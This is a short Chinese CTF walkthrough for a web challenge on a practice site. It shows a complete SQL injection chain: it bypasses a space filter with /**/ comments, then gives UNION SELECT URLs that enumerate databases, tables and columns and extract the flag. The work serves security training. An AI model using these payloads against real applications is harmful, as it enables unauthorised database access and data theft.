首先,输入1 尝试一下

然后爆出ID 加 个 单引号 尝试 ,出现报错界面

然后 大概猜测代码是 select xx from XX where id=''
用and测试

发现了有过滤,经过多测实验后,发现去掉空格就可以

然后开始构造,我们可以使用/**/来代替空格
http://ctf5.shiyanbar.com/web/index_2.php?id=-1%27/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/%271%27=%271

然后就可以一层一层往下查了
http://ctf5.shiyanbar.com/web/index_2.php?id=-1%27/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/%271%27=%271

然后查询列,获得flag列
http://ctf5.shiyanbar.com/web/index_2.php?id=-1%27/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/%271%27=%271

最后查询flag列的数据
http://ctf5.shiyanbar.com/web/index_2.php?id=-11%27/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/%271%27=%271

本文通过一个具体的案例展示了如何利用SQL注入漏洞获取敏感信息。从尝试性输入到逐步构造复杂查询语句,最终成功提取数据库中的flag数据。
1437

被折叠的 条评论
为什么被折叠?



